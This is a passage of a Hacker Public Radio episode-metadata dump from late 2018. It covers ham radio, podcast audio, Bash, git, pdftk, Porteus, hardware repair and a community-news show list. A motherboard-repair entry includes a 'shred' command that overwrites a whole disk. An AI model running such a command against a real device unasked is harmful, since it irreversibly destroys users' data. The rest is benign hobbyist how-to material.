                                                            The “T-F Set” button is used to set the Transmit frequency when working in split mode. In split mode, you can set the radio to transmits on one frequency and receives on a different frequency.

                                                            ","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, Ham","version":0,"downloads":0,"valid":1}, {"id":2657,"date":"2018-10-09","title":"Why we are all going to shit in 30 years due to computers","duration":1555,"summary":"Some thoughts about the increasing impact of automation","notes":"

                                                            Now, this is not a doom and gloom lecture.

                                                            \n

                                                            Actually it is a talk about what is going to happen in the next 30 years.

                                                            \n

                                                            It is a talk about what is called “postcapitalism”.

                                                            \n

                                                            It is a talk about how almost all jobs are going to disappear due to automation. But also how we are going to think about this this and come up with solutions.

                                                            \n

                                                            It talks about the three big challenges we need to face.

                                                            \n

                                                            And yes, this involves you as well!

                                                            \n","hostid":369,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"prediction,post-capitalism","version":0,"downloads":0,"valid":1}, {"id":2658,"date":"2018-10-10","title":"Questions on podcast production","duration":2784,"summary":"Al asks Dave questions about podcast production","notes":"

                                                            HPR Chat with Al

                                                            \n

                                                            Al asks Dave a number of questions about podcast audio recording and post-production.

                                                            \n

                                                            Al is thinking of doing National Podcast Post Month in November

                                                            \n

                                                            National Podcast Post Month (or NaPodPoMo) is a challenge in a similar vein to National Novel Writing Month (or NaNoWriMo) in which participants are challenged to produce and publish a piece of audio as a podcast, every day for the month of November.

                                                            \n

                                                            Bad podcast audio

                                                            \n

                                                            Audio quality is as important as the content that's being presented. Bad audio is going to be what causes new podcasters the most damage in subscriber numbers. An example of good audio is the true crime podcast, One Eye Open, which Dave started listening to a couple of weeks ago. He also picked up a couple of other true crime podcasts as a result of listening to One Eye Open where the audio quality is so bad, that they can't be heard!

                                                            \n

                                                            Loudness is a measurement of how loud something is perceived to be. Levelling is a process of ensuring that individual tracks in a podcasts are an an equivalent level, but also the podcast overall is at an equivalent level to other podcasts that have been levelled the same way.

                                                            \n

                                                            Our setups

                                                            \n

                                                            Al and Dave have a very similar microphone setup.

                                                            \n
                                                              \n
                                                            • Samson Q2U - XLR and USB capable microphone
                                                            • \n
                                                            • Pop filters and wind screens
                                                            • \n
                                                            • Boom arm
                                                            • \n
                                                            • Shock mount
                                                            • \n
                                                            \n

                                                            What is a compressor

                                                            \n

                                                            The non-technical definition is that it brings up the quiet bits and brings down the louder bits so that your voice has less of a variance if you shout or whisper.

                                                            \n

                                                            Different microphone types

                                                            \n
                                                              \n
                                                            • Cardioid - focuses on sounds coming from in front of the mic
                                                            • \n
                                                            • Omnidirectional - can theoretically pick up sound from all directions
                                                            • \n
                                                            • Dynamic - well suited for vocal use
                                                            • \n
                                                            • Condenser - overall better quality sound than dynamic, but more susceptible to background noise, so requires a really quiet studio environment
                                                            • \n
                                                            \n

                                                            Your level

                                                            \n

                                                            You can measure your own level in Audacity - make sure you stay in the green! If you stray into yellow or even red, either lower your level or move slightly away from the mic.

                                                            \n

                                                            Other people's levels

                                                            \n

                                                            Concentrate on your own, get others to manage theirs. If you're recording multiple tracks, it can be managed in post-production, but once it's been merged into a single track it's virtually impossible.

                                                            \n

                                                            File formats

                                                            \n\n

                                                            Record in a lossless format, and do your edits and post-production in a lossless format. Only transcode to a lossy format once you're ready to publish your final file.

                                                            \n

                                                            Monitoring

                                                            \n

                                                            If you're recording yourself, and you don't want to hear yourself through headphones, take the headphones off.

                                                            \n

                                                            If you're recording with someone else who is not in the same room, you are better off hearing yourself through your headphones at the same level as the person you're talking to.

                                                            \n

                                                            Post-production

                                                            \n
                                                              \n
                                                            • Use Audacity to:\n
                                                                \n
                                                              • align the tracks so that everyone is in the right place
                                                              • \n
                                                              • convert coughs, sneezes, burps, keyboard sounds, mouse clicks, etc to silence
                                                              • \n
                                                            • \n
                                                            • Use Auphonic to:\n
                                                                \n
                                                              • level the individual tracks so that everyone sounds as "loud" as anyone else
                                                              • \n
                                                              • merge the individual tracks into a single output file (a Multitrack production)
                                                              • \n
                                                            • \n
                                                            • Dave also gives a specific use case for adding music into the final mix.
                                                            • \n
                                                            \n

                                                            NaPodPoMo revisited

                                                            \n

                                                            This will be Al's first attempt at NaPodPoMo, but not for Dave. Dave wants to make sure that he plans for this year, so he doesn't run out of material on day 7!!

                                                            \n

                                                            Dave will interview another NaPodPoMo participant at least once a week during November. Looks like Al will be one of them!

                                                            \n\n

                                                            Dave's final thought

                                                            \n

                                                            Podcasting isn't rocket science. You don't need lots of expensive equipment to produce a podcast. You just need something to record into (e.g. a mobile phone or portable recorder) and somewhere to host it. You can host on your own website or on one of a number of free services, like Anchor, AudioBoom, or indeed Hacker Public Radio!

                                                            \n

                                                            The obligatory podcast plug

                                                            \n\n

                                                            Errata

                                                            \n
                                                              \n
                                                            • Dave originally said that the pickup pattern that picks up 360 degrees was "unidirectional" - it should have been "omnidirectional" and has been fixed in the edit, but it sounds like it was added in afterwards... which, of course, it was!!
                                                            • \n
                                                            \n","hostid":290,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Admin Admin Podcast","version":0,"downloads":0,"valid":1}, {"id":2659,"date":"2018-10-11","title":"Further ancillary Bash tips - 11","duration":1702,"summary":"Making decisions in Bash (part 3)","notes":"

                                                            Further ancillary Bash tips - 11

                                                            \n

                                                            This is the eleventh episode in the Bash Tips sub-series. It is the third of a group of shows about making decisions in Bash.

                                                            \n

                                                            In the last two episodes we saw the types of test Bash provides, and we looked briefly at some of the commands that use these tests. Now we want to start examining the expressions that can be used in these tests, and how to combine them. We will also start looking at string comparisons in extended tests.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,test,conditional expression,string comparison,pattern","version":0,"downloads":0,"valid":1}, {"id":2660,"date":"2018-10-12","title":"Installing a bootloader on an Arduino","duration":399,"summary":"Ken uses a Arduino Uno to load a bootloader on an Arduino Nano","notes":"

                                                            \nIn this show you will learn how to install a bootloader on an Arduino using another Arduino via In-Circuit Serial Programming (ICSP)\n

                                                            \n\n

                                                            \nAll credit goes to M-SHORT over at SparkFun for the excellent tutorial.\n

                                                            \n\n
                                                              \n
                                                            1. Arduino IDE > File > Examples > 11.ArduinoISP > ArduinoISP
                                                            2. \n
                                                            3. Tools > Board > {your board}
                                                            4. \n
                                                            5. Tools > Programmer > Arduino as ISP
                                                            6. \n
                                                            7. Tools > Burn Bootloader
                                                            8. \n
                                                            ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Arduino, Boot Loader, ISP, ICSP","version":0,"downloads":0,"valid":1}, {"id":2661,"date":"2018-10-15","title":"My Music Production Setup","duration":679,"summary":"ClaudioM shares his music production setup.","notes":"

                                                            Previous Music Production Setup

                                                            \n\n

                                                            Current Music Production Setup

                                                            \n\n

                                                            Notable Mentions

                                                            \n\n

                                                            Linux-oriented Links

                                                            \n\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"music, multimedia, audio, linux, musicproduction, foss, floss","version":0,"downloads":0,"valid":1}, {"id":2662,"date":"2018-10-16","title":"Repairing a motherboard","duration":196,"summary":"I repair a motherboard and get a old tower working again.","notes":"

                                                            Continued from hpr2549 :: DVD ripping using old hardware

                                                            \n

                                                            Acquired new user tower, replaced old tower with blown caps
                                                            \nDell Pentium 4 CPU 3.20GHz, 2Gb RAM

                                                            \n
                                                            sudo shred -n 5 -vz /dev/sdX\n\n  -n, --iterations=N \n  -v, --verbose\n    show progress \n  -z, --zero\n    add a final overwrite with zeros to hide shredding
                                                            \n

                                                            Used same Slackware USB from old tower

                                                            \n

                                                            Used soldering iron from Amazon - Weller WLC100 40-Watt Soldering Station
                                                            \nhttps://www.amazon.com/gp/product/B000AS28UC/ref=oh_aui_detailpage_o02_s00?ie=UTF8&psc=1

                                                            \n

                                                            https://photos.app.goo.gl/VpRxvZLBy49PCo5DA

                                                            \n","hostid":318,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hardware, circuit board, repair","version":0,"downloads":0,"valid":1}, {"id":2663,"date":"2018-10-17","title":"Short review on a 2.5 inch SSD/HDD caddy","duration":202,"summary":"Tony reviews a Short review on a 2.5 inch SSD/HDD caddy from ebay","notes":"

                                                            Well Ken made another call for shows and as my recent interview series has come to an end by the time you listen to this here is a short review of a USB3 2.5inch HDD/SSD caddy I got from E-bay a few weeks ago.

                                                            \n

                                                            As many of you who have listened to my previous ramblings know I frequent a local Computer auction and recently they have had some cheap 128Gig SSD’s for sale and I managed to pick several up at a good price. After using some to upgrade some desktop PC’s to SSD I had a couple of these spare and as I have USB3 on my main laptop thought it would be good to be able to use one or two of these as portable storage or even for boot drives to test out odd Linux distro or 2.

                                                            \n

                                                            So I purchased a caddy off that font of all things techie E-bay for £5.50, link here:
                                                            \nhttps://www.ebay.co.uk/itm/USB-3-0-to-SATA-Hard-Drive-Enclosure-Caddy-Case-For-2-5-Inch-HDD-SSD-External/282930148654?ssPageName=STRK%3AMEBIDX%3AIT&_trksid=p2057872.m2749.l2648

                                                            \n

                                                            So after it arrived I plugged in one of the drives and tested it out. The first thing to notice is that SSD’s being 7mm in depth flop about a bit in the case but this is easily resolved by a bit of card under the drive to help it fit snug in the case and it does mean that the case will support the larger 9mm 2.5inch spinners if needed. I’ve not tested a larger older spinner but I suspect they will not fit as 9mm ones are very snug in the case.

                                                            \n

                                                            Anyway the drive was detected by the PC/Laptop and works flawlessly and as it is so quick to swap drives in the caddy means I can carry large data files and my music and video library when on the move with the advantage that it is less likely to be damaged if accidentally dropped or knocked off a surface, which is quite likely with a portable spinner HDD.

                                                            \n

                                                            I am very happy with this purchase and it has already become a regular part of my travelling tool kit/laptop bag.

                                                            \n","hostid":338,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"Computers, Tool Bag","version":0,"downloads":0,"valid":1}, {"id":2664,"date":"2018-10-18","title":"My git workflow","duration":495,"summary":"In this episode I talk about the workflow I use to contribute to opensource project using git","notes":"

                                                            My git workflow

                                                            \n

                                                            In this episode of HPR I present the workflow I use to contribute to opensource projects using git. I have no idea if this workflow is something that is commonly used, but it is working for me, so I thought I’d share it with the HPR community.

                                                            \n

                                                            The first thing I do is fork the project I want to contribute to. This is done on github most of the time, although this workflow can work on gitlab, bitbucket, or even some self hosted git platform.

                                                            \n

                                                            Once the project is forked, I clone it on my machine :

                                                            \n
                                                            $ git clone git://server/path/to/myproject.git
                                                            \n

                                                            Git automatically names my remote project origin.

                                                            \n

                                                            Then I add a reference to the original project :

                                                            \n
                                                            $ git remote add upstream https://server/path/to/originalproject.git
                                                            \n

                                                            Now my local repository references my fork under the name origin and the original project under the name upstream.

                                                            \n

                                                            In this workflow, I never work on the master branch. So, when I need to fix a bug for example, I create a new branch :

                                                            \n
                                                            $ git checkout -b bugfix
                                                            \n

                                                            I can then make changes, test my code, make sure everything is ok, stage and commit my changes :

                                                            \n
                                                            $ git add .\n$ git commit -m "commit message"
                                                            \n

                                                            Now I need to push this local branch to my repository on github :

                                                            \n
                                                            $ git push -u origin bugfix
                                                            \n

                                                            Since I forked the original project, github knows that origin and upstream are linked. If there are no conflicts, github will show me a big green button to create a pull request. Once the pull request is created, I just have to wait for the maintainer to merge it in upstream’s master branch. Then, I need to sync both my local copy and my fork on github with the original project. In order to do that, on my local copy, I checkout my master branch, fetch upstream’s changes, and merge them :

                                                            \n
                                                            $ git checkout master\n$ git fetch upstream\n$ git merge upstream/master
                                                            \n

                                                            Now my local master branch is ahead of origin’s master branch, so I push those changes to github :

                                                            \n
                                                            $ git push
                                                            \n

                                                            I don’t need the bugfix branches (the local one and the github one), so I can delete those :

                                                            \n
                                                            $ git branch -d bugfix\n$ git push origin -d bugfix
                                                            \n

                                                            And now, my local repository is even with both origin and upstream, and I can start again.

                                                            \n

                                                            To summarize, here’s the complete workflow :

                                                            \n
                                                            $ git checkout -b myawesomefeature\n$ git add .\n$ git commit -m "Awesome commit message"\n$ git push -u origin myawesomefeature
                                                            \n

                                                            Create a pull request, wait for the maintainer to merge it.

                                                            \n
                                                            $ git checkout master\n$ git fetch upstream\n$ git merge upstream/master\n$ git push\n$ git branch -d myawesomefeature\n$ git push origin -d myawesomefeature
                                                            \n","hostid":370,"series":104,"explicit":0,"license":"CC-0","tags":"git,github,workflow","version":0,"downloads":0,"valid":1}, {"id":2665,"date":"2018-10-19","title":"Exercise and Diet","duration":1041,"summary":"Exercise and Diet are primary to health","notes":"

                                                            The best things you can do to maximize your health are to watch what you eat and make sure you get exercise. These are some of the primary tools in my kit for staying healthy and living a long life.

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Exercise, Diet","version":0,"downloads":0,"valid":1}, {"id":2666,"date":"2018-10-22","title":"Slackware Post-Install","duration":1826,"summary":"A quick and dirty guide to getting Slack up and running after it's installed.","notes":"

                                                            This episode started out as just some thoughts on why I decided to move back to Slackware after having been away from it for a few years, and wound up being a short set of notes on the post install configuration of Slackware 14.2

                                                            \n

                                                            This is by no means a definitive or exhaustive in its scope. It’s just a few thoughts and tips on the post-install process that might not be completely clear to a new user.

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Slackware, Slackware post-install","version":0,"downloads":0,"valid":1}, {"id":2667,"date":"2018-10-23","title":"Create PDF bookmarks with Pdftk","duration":1313,"summary":"Basic intro to a few pdftk functions","notes":"

                                                            \nPdftk is a command that lets you manipulate PDFs outside of a GUI PDF creation tool.\nThere are several GUI tools you can use to create PDFs with valid bookmarks and other fancy features, but pdftk is often more convenient.\n

                                                            \n\n

                                                            \nExtract pages 1 through 2, and pages 5-21, and page 261 from a big PDF into a new PDF:\n

                                                            \n
                                                            \n$ pdftk big.pdf cat 1-2 5-21 261 output small.pdf\n
                                                            \n\n

                                                            \nExtract bookmarks from original PDF:\n

                                                            \n\n
                                                            \n$ pdftk big.pdf dump_data output book.mark\n
                                                            \n\n

                                                            \nHere is what a bookmark file looks like:\n

                                                            \n\n
                                                            \nInfoBegin\nInfoKey: ModDate\nInfoValue: D:20181010181951-05'00'\nInfoBegin\nInfoKey: CreationDate\nInfoValue: D:20181010181934-05'00'\nInfoBegin\nInfoKey: Creator\nInfoValue: pdftk (Linux)\nInfoBegin\nInfoKey: Producer\nInfoValue: pdftk 2.02-x86_64\nPdfID0: d8deadbeeff34211ba60d80fda7611da\nPdfID1: 39186170c6134566884b79c0ffee7d59\nNumberOfPages: 261\nBookmarkBegin\nBookmarkTitle: Cover\nBookmarkLevel: 1\nBookmarkPageNumber: 1\nBookmarkBegin\nBookmarkTitle: Credits\nBookmarkLevel: 1\nBookmarkPageNumber: 2\nBookmarkBegin\nBookmarkTitle: Chapter One\nBookmarkLevel: 1\nBookmarkPageNumber: 3\nBookmarkBegin\nBookmarkTitle: Foo Section\nBookmarkLevel: 2\nBookmarkPageNumber: 5\nBookmarkBegin\nBookmarkTitle: Bar Baz\nBookmarkLevel: 3\nBookmarkPageNumber: 7\nBookmarkBegin\nBookmarkTitle: Back cover\nBookmarkLevel: 1\nBookmarkPageNumber: 19\n
                                                            \n\n

                                                            \nApply the bookmark data back to the PDF:\n

                                                            \n\n
                                                            \n$ pdftk small.pdf update_info book.mark output final.pdf\n
                                                            \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pdf","version":0,"downloads":0,"valid":1}, {"id":2668,"date":"2018-10-24","title":"Explaining the controls on my Amateur HF Radio Part 3","duration":1090,"summary":"In this episode I cover the Main / sub displays meter memory and band keys of the TS940S.","notes":"\n

                                                            Sub Display

                                                            \n

                                                            Used either to display the time or in graph mode gives a representation of the receiver bandwidth setting when using CW or SSB.

                                                            \n

                                                            Memories and band keys

                                                            \n

                                                            Ten memory and band keys to switch either between ten stored memories or to switch between the ten pre-set amateur HF bands when in VFO mode. Up / Down step keys jumps in 1Mhz step.

                                                            \n

                                                            Antenna Tuner

                                                            \n

                                                            I tried and failed to find a simple explanation of an antenna tuner it’s a complicated topic, I can at least have a go at explaining how to use a simple manual antenna tuner, hope this makes some sense.

                                                            \n

                                                            A typical manual Antenna Tuner has two rotatable knobs both interact with each other. The Tuner is used to match a badly tuned antenna to your transmitter. The Tuner is placed in-between the transmitter and antenna. To use it you typically hold down the transmit key while looking at the VSWR meter and rotating one knob at a time in turn repeating this operation until the minimum VSWR is achieved.

                                                            \n

                                                            If you really want to dive into more detail feel free to follow this link in wikipedia. https://en.wikipedia.org/wiki/Antenna_tuner

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"HF, Ham, Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2669,"date":"2018-10-25","title":"Additional ancillary Bash tips - 12","duration":1702,"summary":"Making decisions in Bash (part 4)","notes":"

                                                            Additional ancillary Bash tips - 12

                                                            \n

                                                            Making decisions in Bash

                                                            \n

                                                            This is the twelfth episode in the Bash Tips sub-series. It is the fourth of a group of shows about making decisions in Bash.

                                                            \n

                                                            In the last three episodes we saw the types of test Bash provides, and we looked briefly at some of the commands that use these tests. We looked at conditional expressions and all of the operators Bash provides to do this. We concentrated particularly on string comparisons which use glob and extended glob patterns.

                                                            \n

                                                            Now we want to look at the other form of string comparison, using regular expressions.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,test,regular expression","version":0,"downloads":0,"valid":1}, {"id":2670,"date":"2018-10-26","title":"Character Arcs In Storytelling","duration":893,"summary":"Lostnbronx looks character arcs, and their role in storytelling.","notes":"

                                                            Characters are intrinsic to stories of all types, and they often have journeys, referred to as arcs. What, exactly is the character arc? Does everybody in a tale have one? Do they even need one? How do arcs affect the plot, and vice-versa? Lostnbronx shares some off-the-cuff thoughts about this often misunderstood aspect of storytelling.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories,storytelling,character arcs,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2671,"date":"2018-10-29","title":"Algae farming with Desearcher","duration":2379,"summary":"Desearcher edumacates us all on the benefits of algae farming.","notes":"

                                                            Apologies for the sound quality. We recorded in a small apartment with only one mic. :-

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Phytoplankton,algae,Nannochloropsis","version":0,"downloads":0,"valid":1}, {"id":2672,"date":"2018-10-30","title":"Porteus","duration":3477,"summary":"Installing Porteus and the cool things you can do with thumbdrive installation","notes":"

                                                            Porteus is a portable Live Linux distro, based on Slackware, intended for use on thumbdrives or optical media. It is, more or less, the new Slax, now that Slax has switched to Debian.

                                                            \n\n

                                                            Install

                                                            \n\n

                                                            The official means of installation is to burn Porteus to disc, and then (optionally) install Porteus onto a thumbdrive from within Porteus. To install Porteus to a thumbdrive, you need a thumbdrive with an EXT4 partition. You can try other filesystems and partition schemes, but EXT4 definitely works well.

                                                            \n

                                                            \nFrom either Porteus or Slackware (you can try other distros, but results will vary), you can do a manual install, and here are the correct commands (as of this writing, the docs on porteus.org are not accurate). Assuming you have discovered, using lsblk, that your target device (the thumbdrive) is /dev/sdx:\n

                                                            \n\n
                                                            $ sudo bash\n# mkdir -p /mnt/loop /mnt/drive\n# mount --options loop /path/to/Porteus*iso /mnt/loop\n# mount /dev/sdx1 /mnt/drive\n# rsync -av /mnt/loop/ /mnt/drive/\n# cd /mnt/drive/boot\n# chmod +x Porteus-installer-for-Linux.com\n# ./Porteus*com\n
                                                            \n\n

                                                            \nAlternately, you can use Porteus from a virtual machine and install to a thumbdrive, as long as your virtualisation software redirects USB. I have used virt-manager running on Fedora successfully for this.\n

                                                            \n\n

                                                            The other alternative, of course, is to run Porteus off of an optical disc. That means your system is unwritable, so nothing you do is persistent across reboots, but you can save your work to a thumbdrive. I've worked with Slax this way before, and it's quite manageable.

                                                            \n\n

                                                            Boot

                                                            \n\n

                                                            \nBooting to Porteus depends a lot on the firmware of the computer you're booting. Almost every Linux distro in existence has accurate docs on the changes you may or may not need to make to your BIOS or [U]EFI in order to boot to Linux, so you can find more detail on this if you need. Here's some text I borrowed from Linux Mint:\n

                                                            \n\n

                                                            Insert your USB stick (or DVD) into the computer.

                                                            \n

                                                            Restart the computer.

                                                            \n

                                                            Before your computer boots your current operating system (Windows, Mac, Linux) you should see your BIOS or UEFI loading screen. Check the screen or your computer’s documentation to know which key to press and instruct your computer to boot on USB (or DVD). Most BIOS or UEFI have a special key you can press to select the boot device and all of them have a special key to enter a configuration screen (from which you can define the boot order). Depending on the firmware, these special keys can be Escape, F1, F2, F8, F10, F11, F12, or Delete. That information is usually briefly displayed on screen during the boot sequence.\n

                                                            \n

                                                            \nOn Macs, keep your finger pressed on the Alt or Option key after hearing the boot sound.\n

                                                            \n\n

                                                            Boot modes

                                                            \n\n

                                                            Porteus can boot to its default persistent modes: graphical or text. Both of these modes auto load any Porteus modules you've installed and also read any changes you made since the previous boot.\n

                                                            \n

                                                            It can also boot to ephemeral modes: Copy to RAM and Always Fresh. These modes act as if you've never booted into Porteus before, loading a completely fresh version of the file system. They also do not load Porteus modules automatically.

                                                            \n\n

                                                            Installing software

                                                            \n\n

                                                            Porteus modules are Slackware packages converted to .xzm files, a highly-compressed SquashFS filesystem. When a Porteus module is activated, the application and other files contained in the module appear in your environment. You can think of it as a layered filesystem.

                                                            \n\n

                                                            \nTo install software, you must sync up your package manager with upstream repositories:

                                                            \n\n
                                                            $ sudo usm -u all\n
                                                            \n\n

                                                            \nOnce everything is updated, you can search for packages using the -k (for keyword) option:

                                                            \n\n
                                                            $ sudo usm -k foo\n
                                                            \n\n

                                                            \nAnd then install it:

                                                            \n\n
                                                            $ sudo usm -g foo\n
                                                            \n\n

                                                            \nYou are prompted to either install or download the module. If you install it, then it becomes part of the filesystem. However, since changes to the filesystem are NOT read by the Copy to RAM or Always Fresh modes, this is probably not what you want. Instead, download the module so that you can have Porteus load it dynamically regardless of what mode you're running.

                                                            \n\n

                                                            \nModules are downloaded, by default, to /tmp/usm/ and then converted from their native format of .t?z to .xzm files. You can copy the .xzm files to an external device if you're running off of optical media, or into a persistent area on the thumbdrive running Porteus. Modules can be made permanently available in the /mnt/sdx1/porteus/modules or /mnt/sdx1/porteus/optianal directories.\n

                                                            \n\n

                                                            Modules in the ../modules path are loaded at boot in the Graphical and Text modes, and are available to load manually in the Copy to RAM and Always Fresh modes.

                                                            Modules in the ../optional path are never auto loaded.

                                                            \n\n

                                                            Modules can be activated or deactivated with this command:

                                                            \n\n
                                                            $ sudo activate foo\n
                                                            \n\n

                                                            Miscellany

                                                            \n\n

                                                            Flatpak works on Porteus, too. I have found this to be convenient for applications like GIMP and Inkscape and Kdenlive and many others that are complex enough to warrant special attention.\n

                                                            \n\n

                                                            \nFlatpak does require the glib-networking package. You will not be warned about this, because all upstream Slackware repositories assume a full install of Slackware (and glib-networking is included on Slackware, but not on Porteus). Once you install glib-networking, you can use flatpak as described, for instance, on the GIMP downloads page.\n

                                                            \n\n

                                                            \nOver-customizing the \"hard-coded\" parts of Porteus is unwise. For instance, keep the default user (guest), don't try to change the UID (I tried and failed), and so on. Treat the system, more or less, as if though you were a guest on someone else's multi-user system. Install and customise stuff locally and through modules when possible. That's what Porteus expects, and things can break if you try to treat it too much like a traditional Linux system.\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"porteus,slax,installation,howto,tutorial,usbdrive,thumbdrive","version":0,"downloads":0,"valid":1}, {"id":2673,"date":"2018-10-31","title":"Urandom - Ohio Linux Fest 2-18 Podcaster Roundtable","duration":2043,"summary":"The Urandom crew gathers the podcasters at Ohio Linux Fest for a chat.","notes":"

                                                            Hosts: Lyle, Thaj, Kevin O’Brian (Ahuka), Tony Beamus, FiftyOneFifty

                                                            \n\n

                                                            ** Record Scratch audio sample https://freesound.org/people/luffy/sounds/3536/

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Ohio Linux Fest,Urandom,Sunday Morning Linux Review,Linux Lug Cast","version":0,"downloads":0,"valid":1}, {"id":2674,"date":"2018-11-01","title":"Raspberry pi3 open media server","duration":616,"summary":"JWP emails in this episode","notes":"
                                                              \n
                                                            • Use Gparted for the SD card
                                                            • \n
                                                            • Use Etcher from Resin.Io
                                                            • \n
                                                            • Use the normal external hard drive file os.
                                                            • \n
                                                            \n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi,open media,Etcher","version":0,"downloads":0,"valid":1}, {"id":2675,"date":"2018-11-02","title":"YouTube Playlists","duration":767,"summary":"How to solve a problem with following YouTube channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I found a need to be able to watch all of the videos in order for certain channels. This describes how to do it.

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Playlists","version":0,"downloads":0,"valid":1}, {"id":2676,"date":"2018-11-05","title":"HPR Community News for October 2018","duration":3954,"summary":"HPR Volunteers talk about shows released and comments posted in October 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Yannick the french guy from Switzerland.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2651Mon2018-10-01HPR Community News for September 2018HPR Volunteers
                                                            2652Tue2018-10-02Liverpool Makefest 2018 - Interview with Caroline and JohnTony Hughes AKA TonyH1212
                                                            2653Wed2018-10-03Using the EXACT Function in ExcelShane Shennan
                                                            2654Thu2018-10-04Making CrepesShane Shennan
                                                            2655Fri2018-10-05Sleep Apnea and AfibAhuka
                                                            2656Mon2018-10-08Explaining the controls on my Amateur HF Radio Part 2MrX
                                                            2657Tue2018-10-09Why we are all going to shit in 30 years due to computersJeroen Baten
                                                            2658Wed2018-10-10Questions on podcast productionAl
                                                            2659Thu2018-10-11Further ancillary Bash tips - 11Dave Morriss
                                                            2660Fri2018-10-12Installing a bootloader on an ArduinoKen Fallon
                                                            2661Mon2018-10-15My Music Production SetupClaudio Miranda
                                                            2662Tue2018-10-16Repairing a motherboardArcher72
                                                            2663Wed2018-10-17Short review on a 2.5 inch SSD/HDD caddyTony Hughes AKA TonyH1212
                                                            2664Thu2018-10-18My git workflowYannick the french guy from Switzerland
                                                            2665Fri2018-10-19Exercise and DietAhuka
                                                            2666Mon2018-10-22Slackware Post-Installm1rr0r5h4d35
                                                            2667Tue2018-10-23Create PDF bookmarks with Pdftkklaatu
                                                            2668Wed2018-10-24Explaining the controls on my Amateur HF Radio Part 3MrX
                                                            2669Thu2018-10-25Additional ancillary Bash tips - 12Dave Morriss
                                                            2670Fri2018-10-26Character Arcs In Storytellinglostnbronx
                                                            2671Mon2018-10-29Algae farming with Desearcherm1rr0r5h4d35
                                                            2672Tue2018-10-30Porteusklaatu
                                                            2673Wed2018-10-31Urandom - Ohio Linux Fest 2-18 Podcaster RoundtableThaj Sara
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 49 comments in total.

                                                            \n

                                                            There are 13 comments on\n10 previous shows:

                                                            \n
                                                            • hpr1308\n(2013-08-07) \"Helping a New Computer User\"\nby Shane Shennan.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nGort on 2018-10-08:\n\"Computer Intro Outline\"
                                                              • \n
                                                              • \nComment 2:\nShane Shennan on 2018-10-12:\n\"Thanks, Gort!\"

                                                              \n
                                                            • hpr1512\n(2014-05-20) \"Adopting and Renovating a Public-Domain Counterpoint Textbook\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nJon Kulp on 2018-10-02:\n\"Talk about reviving...\"

                                                              \n
                                                            • hpr2134\n(2016-10-06) \"Shutdown Sequence Systemd\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndavid pellecchia on 2018-10-07:\n\"systemd service\"

                                                              \n
                                                            • hpr2608\n(2018-08-01) \"BattleTech\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nBookewyrmm on 2018-10-09:\n\"Fandom\"
                                                              • \n
                                                              • \nComment 4:\nTuula on 2018-10-24:\n\"MechWarrior online\"

                                                              \n
                                                            • hpr2627\n(2018-08-28) \"Home Phone Setup!!\"\nby sigflup.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 7:\nclacke on 2018-10-01:\n\"Re: stoop\"

                                                              \n
                                                            • hpr2635\n(2018-09-07) \"Running your own mainframe on Linux (for fun and profit)\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nJan on 2018-10-02:\n\"Second Reading\"

                                                              \n
                                                            • hpr2640\n(2018-09-14) \"Another Rambling Drive Into Work\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
